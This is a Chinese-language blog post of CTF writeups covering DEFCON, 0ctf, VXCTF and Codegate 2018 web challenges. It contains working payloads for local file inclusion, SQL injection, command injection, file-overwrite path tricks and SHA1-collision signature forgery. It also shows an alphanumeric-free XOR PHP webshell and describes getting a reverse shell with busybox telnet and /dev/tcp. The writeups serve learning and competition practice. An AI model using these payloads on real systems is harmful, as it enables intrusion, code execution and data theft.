這篇主要用來記錄近期幾場CTF的一些Writeup和心得

DEFCON CTF 2018 Qual

這場比賽我們隊和台大還有交大等隊伍一起組成聯隊

見識到其他隊伍跟自己的差距,學了很多

rank

Easy Pisy

這題有兩個功能:signexecute

sign只給我們sign ECHO指令(他會用OCR去辨識pdf上的文字)

execute功能如果給正確的signature,他就會去執行pdf上面的指令

所以如果我們有辨法構造或繞過signature就能搞定這題惹

這題比較難發現的關鍵點是,openssl_verify在sign前使用SHA1

也就是說可以去撞SHA1 Collision

可以使用這個Tool來輔助:https://github.com/nneonneo/sha1collider/

產生兩個pdf檔: (1) ECHO kaibro (2) EXECUTE cat flag

然後用這個Tool去撞SHA1 Collsion

比較麻煩的點是,他的OCR有點不太精準,很多字型他都辨識得很差,可能要多踹幾次

成功後,兩個pdf檔就有相同SHA1 hash,但兩個pdf用OCR辨識出來的文字不同

我撞出來的兩個pdf如下:

https://github.com/w181496/CTF/blob/master/defcon2018-qual/EasyPisy/echo.pdf

https://github.com/w181496/CTF/blob/master/defcon2018-qual/EasyPisy/execute.pdf

先sign pdf(1),之後把得到的SHA1 hash和pdf(2)一起丟去execute,就拿到FLAG惹

OOO{phP_4lw4y5_d3l1v3r5_3h7_b35T_fl4g5}

PHP Eval White-List

這題出壞惹

直接system("../flag")就噴FLAG

exzendtential-crisis

這題很容易可以發現LFI:

http://d4a386ad.quals2018.oooverflow.io/essays.php?preview&name=../../../../../etc/passwd

可以透過LFI去讀essays.php、login.php、register.php的源碼

會發現login.php會去call一個奇怪的function: check_credentials

register.php也是: create_user

估計就是他自己寫的extension

翻一下php.ini,可以找到mydb.so的路徑

用LFI把他載下來: /essays.php?preview&name=../../../../../usr/lib/php/20151012/mydb.so

用ida pro去看,可以發現它DB是用SQLite

mydb.so有db路徑,所以可以把他的DB載下來 (但因為file_get_contents有長度限制,所以沒辦法載完整的)

會發現目標的帳號跟密碼: sarte:5f0e11fe91a3196d7bf8e80a7ee0bbdf516b1952a57569e4809a9e7bf21ad0f6

賽中有試著去撞,但撞不出來 (SHA256攪20次)

然後就是一連串崩潰逆向

翻了一下之後,一直覺得這題應該是想考SQL Injection (因為裡面特別去擋SQL Injection payload,又擋不完整)

然後他還會把參數裡面的'換成''

原本以為簡單的\' => \''就能惹,後來才知道原來SQLite不能這樣跳脫QQ

賽後才知道原來洞在:

check_hacking_attempt()裡username可以蓋超過username_check,然後蓋到下面的table_name

source code在這: https://github.com/o-o-overflow/chall-exzendtential-crisis/blob/master/src/c/

賽中是有踹出來username長度限制大概到111,但沒發現他是蓋到table_name

所以最後payload只要這樣就能繞過惹:

username=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABusers where rowid=1;--&password=a

因為AA...AAB後面的users where rowid=1會蓋到table_name

所以這邊snprintf(cmd, sizeof(cmd), "select rowid from %s where username = '%s' and password = '%s';", table_name, username, password);就可以注入惹


整體來說,這場的確很多黑人問號的題目

(雖然也是有一些好題目)

不少題目都有猜測或暴力的成分在裡頭

Web題也是一堆都要去逆向.so檔,很不web

不過隊友太Carry,最後聯隊還是拿到22名 跪惹

第一次參加DEFCON Qual就打進決賽,運氣真的很好XD

0ctf 2018 Qual

EzDoor

這題蠻有趣的,第一次碰opcache

他有幾個小功能,可以看phpinfo、上傳檔案等

雖然能上傳,但是會檢查副檔名有沒有出現h,有的話就算不合法

stristr(pathinfo($name)["extension"], "h"))

傳其他檔案上去都不能直接訪問,會403,所以就是要想辦法蓋index.php

move_uploaded_file()可以覆蓋舊檔案,但是index.php副檔名有h,要想辦法繞

直覺想到以前看過的一招: index.php/.

但是這招沒辦法覆寫舊檔案,只能寫新檔案

改用a/../index.php/.就能成功覆寫,這跟他底層實作有關,可以去翻source code

賽後才知道這是非預期解法XD

然後翻一下/var/www/html/flag/下面,會看到有個檔案93f4c28c0cf0b07dfd7012dca2cb868cc0228cad

裡頭是OPcache Byte code

內容乍看之下是在做一連串flag的加解密

大概就猜想可能要去逆向它

於是找到這個Tool有Disassembler: https://github.com/GoSecure/php7-opcache-override

但是踹了很久一直Fail,一開始還要裝特定版本的construct套件

也修正opcache中間少一個NULL Byte的問題,結果還是不行,就卡在這沒解出來Orz

賽後才知道Tool沒處理到某些opcode,要手動修正去逆向…

修正後可以還原出以下pseudo code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
function encrypt() {
      #0 !0 = RECV(None, None);
      #1 !0 = RECV(None, None);
      #2 DO_FCALL_BY_NAME(None, 'mt_srand');
      #3 SEND_VAL(1337, None);
      #4 (129)?(None, None);
      #5 ASSIGN(!0, '');
      #6 (121)?(!0, None);
      #7 ASSIGN(None, None);
      #8 (121)?(!0, None);
      #9 ASSIGN(None, None);
      #10 ASSIGN(None, 0);
      #11 JMP(->-24, None);
      #12 DO_FCALL_BY_NAME(None, 'chr');
      #13 DO_FCALL_BY_NAME(None, 'ord');
      #14 FETCH_DIM_R(!0, None);
      #15 (117)?(None, None);
      #16 (129)?(None, None);
      #17 DO_FCALL_BY_NAME(None, 'ord');
      #18 MOD(None, None);
      #19 FETCH_DIM_R(!0, None);
      #20 (117)?(None, None);
      #21 (129)?(None, None);
      #22 BW_XOR(None, None);
      #23 DO_FCALL_BY_NAME(None, 'mt_rand');
      #24 SEND_VAL(0, None);
      #25 SEND_VAL(255, None);
      #26 (129)?(None, None);
      #27 BW_XOR(None, None);
      #28 SEND_VAL(None, None);
      #29 (129)?(None, None);
      #30 ASSIGN_CONCAT(!0, None);
      #31 PRE_INC(None, None);
      #32 IS_SMALLER(None, None);
      #33 JMPNZ(None, ->134217662);
      #34 DO_FCALL_BY_NAME(None, 'encode');
      #35 (117)?(!0, None);
      #36 (130)?(None, None);
      #37 RETURN(None, None);

}
function encode() {
      #0 RECV(None, None);
      #1 ASSIGN(None, '');
      #2 ASSIGN(None, 0);
      #3 JMP(->-81, None);
      #4 DO_FCALL_BY_NAME(None, 'dechex');
      #5 DO_FCALL_BY_NAME(None, 'ord');
      #6 FETCH_DIM_R(None, None);
      #7 (117)?(None, None);
      #8 (129)?(None, None);
      #9 (117)?(None, None);
      #10 (129)?(None, None);
      #11 ASSIGN(None, None);
      #12 (121)?(None, None);
      #13 IS_EQUAL(None, 1);
      #14 JMPZ(None, ->-94);
      #15 CONCAT('0', None);
      #16 ASSIGN_CONCAT(None, None);
      #17 JMP(->-96, None);
      #18 ASSIGN_CONCAT(None, None);
      #19 PRE_INC(None, None);
      #20 (121)?(None, None);
      #21 IS_SMALLER(None, None);
      #22 JMPNZ(None, ->134217612);
      #23 RETURN(None, None);

}

#0 ASSIGN(None, 'input_your_flag_here');
#1 DO_FCALL_BY_NAME(None, 'encrypt');
#2 SEND_VAL('this_is_a_very_secret_key', None);
#3 (117)?(None, None);
#4 (130)?(None, None);
#5 IS_IDENTICAL(None, '85b954fc8380a466276e4a48249ddd4a199fc34e5b061464e4295fc5020c88bfd8545519ab');
#6 JMPZ(None, ->-136);
#7 ECHO('Congratulation! You got it!', None);
#8 EXIT(None, None);
#9 ECHO('Wrong Answer', None);
#10 EXIT(None, None);

後面就是去逆向然後推FLAG惹

VXCTF 2018

這是vxcon的一場小CTF,雖然沒啥人參加

不過題目其實蠻有趣的

我也不小心刷了個第四名XDD

PHP of PHP

網站有兩個功能:(1)view (2)diff

view可以看各個版本的php.net源碼

diff可以比較跟目前的差異 (用diff比)

看一下source,會發現她用JS送request

view是直接用GET訪問取得內容

diff是用POST送JSON過去要內容

送的都是"版本名/index"

看到這個直覺就是LFI

把diff的request改成{"version":"/etc/passwd"}

Bang! 噴出來惹 果然可以LFI

再來就踹{"version":"/v*/w*/h*/d*"}看diff.php源碼

噴出這段關鍵code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
<?php
set_time_limit(3);
@$data = json_decode(file_get_contents('php://input'), true);
if(isset($data["version"])){
   $v = $data["version"];
   if(strlen($v) >= 15){exit("Input too long!");}
   if(preg_match('/[^a-zA-Z0-9\/\?\*\t\n]/',$v)){exit("Special character found in input!");}
   if(preg_match('/ls|cat|tac|nl|more|less|head|tail|od|strings|base64|sort|pg|uniq|rev/',$v)){exit("Blacklisted command found in input!");}
   chdir("web-php");
   @system("diff current/index $v");

可以明顯看到,這裡可以Command Injection

只是他有擋掉特殊符號和一些關鍵字

而換行雖然沒擋,可是json_decode不吃換行

但是json_decode可以吃\n\t,他decode會自動轉成換行

不能ls,可以這樣列目錄: {"version":"\necho\t*"}

再來可以發現存在這個檔案: /th1s_i5_4_l0n9_f0ld3r_n4me/7hi5_i5_a_s3cre7_fi13

直接讀出來就是FLAG: {"version":"/th*/7*"}

vxctf{YezWiiWerBorn2MakeHistory}

Patch Peep Huck (w)

這題應該是這場Web最有趣的一題XD

很幸運的這題我拿到首殺

最後也只有兩隊解出來

題目長這樣:

1
<?=!$I=&$_FILES[!!$l='tmp_name']||$I['size']>>7||preg_match('/\w/',join(file($I[$l])))?!show_source(__FILE__):!include($I[$l]);

!!$l='tmp_name'會把$l設成'tmp_name',並且因為NOT運算,最後整句結果是1

也就是$_FILES[!!$l='tmp_name']實際上就是存取$_FILES[1]

$I['size']>>7是判斷size不能超過這個大小,否則這邊會變成True,就沒辦法include檔案了

重點在最後一個條件: preg_match('/\w/',join(file($I[$l])))

這邊是取出我們上傳的檔案的內容,如果裡面有出現英數字或底線,就不給你include

所以我們就是構造個「不用到英數字和底線」的webshell

方法非常多,我這邊是用XOR去構造system字串和我要執行的command

My Payload:

1
2
3
<?=
$💩 = '[[[[@@' ^ '("(/%-';
$💩(('@@['^'#!/')." /????");

他其實在做的就是system("cat /????")

vxctf{Symb01icExecut10nCanPhuck}

Codegate 2018 qual

SimpleCMS

這題是Code Review題目

蠻明顯感覺就是在考SQL Injection

但擋了一堆東西

可以發現col參數沒有擋#:

所以可以註解掉後面整句SQL

那要怎麼利用這個點呢

search參數可以塞換行(%0a)!!

換行之後可以繼續接SQL,這是這題最好玩的小trick

透過註解+換行把中間一段不想要的SQL註解掉

後面就可以去Union based注入惹

只是這題他有擋information.schema

沒辦法知道表名、欄位名

這裡可以用到另一個小trick

因為他的table engine是innodb

我們可以這樣撈表名:

/index.php?act=board&mid=search&type=2&col=title|idx%23&search=%0a)union+select+1,table_name,3,4,5 from mysql.innodb_table_stats limit 2,1--+

爆flag也可以不需要Column name就撈出來:

/index.php?act=board&mid=search&type=2&col=title|idx%23&search=%0a)union+select+c,2,3,4,5 from (SELECT 1 a,2 b,3 c, 4 d UNION SELECT * FROM 41786c497656426a6149_flag)x limit 1,1--+

l4w

http://l4w.pw/%f0%9f%a4%94/

題目:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
<link rel="stylesheet" type="text/css" href="lul.css"> 
<pre>
<h3>🔥 Hall of Fame 🔥</h3>
<?=file_get_contents('hof.txt');?>
<hr>
<?php
// Connect to localhost:8888 to get the flag
if($_GET['👉🏻'] == '👌🏻') die(phpinfo());
$_ = $_GET['⁣'];
highlight_file(__FILE__);
die('the game is over'); // this page will be removed soon.
if(preg_match("/[\w]{4,}/is",$_) || preg_match("/\[|\"|'|\||\^|~|\./is",$_)) // mình thích thì mình block hoy 👯
     die("🙅"); // 4cm is too much
eval(substr($_,0,30));

這是我過年時做的一題

很有趣的php題

超愛這種短小又很吃技巧的題目XD

這題解法很多,所以做完可以學到很多

他限制了很多,例如不能出現連續長度4以上的英文數字底線等

然後送過去的payload,他只會取前30 Bytes去eavl

最後要去讀localhost:8888才能拿到FLAG

我自己一開始的方法就跟vxctf那題一樣,用xor構造system

但太容易超過長度30,就放棄了

我後來的解法是: ?%E2%81%A3=`$_`;//;a=sle;b=ep;$a$b 10;

`$_`;//;後面可以接指令

然後把shell script用類似HITCON CTF 2017 Babyfirst的技巧寫進/tmp

再把Reverse shell噴回來

但噴回來還有個坑XD

他沒有nc, curl, wget, telnet…等指令

要怎麼去讀localhost:8888 ?

後來我發現他有busybox,裏頭有telnet可以用

所以busybox telnet localhost 8888就讀出FLAG惹

其他人還有用cat < /dev/tcp/0/8888ssh -v 0 8888

更多解法可以看writeup: https://github.com/l4wio/CTF-challenges-by-me/tree/master/lixi_2018/writeup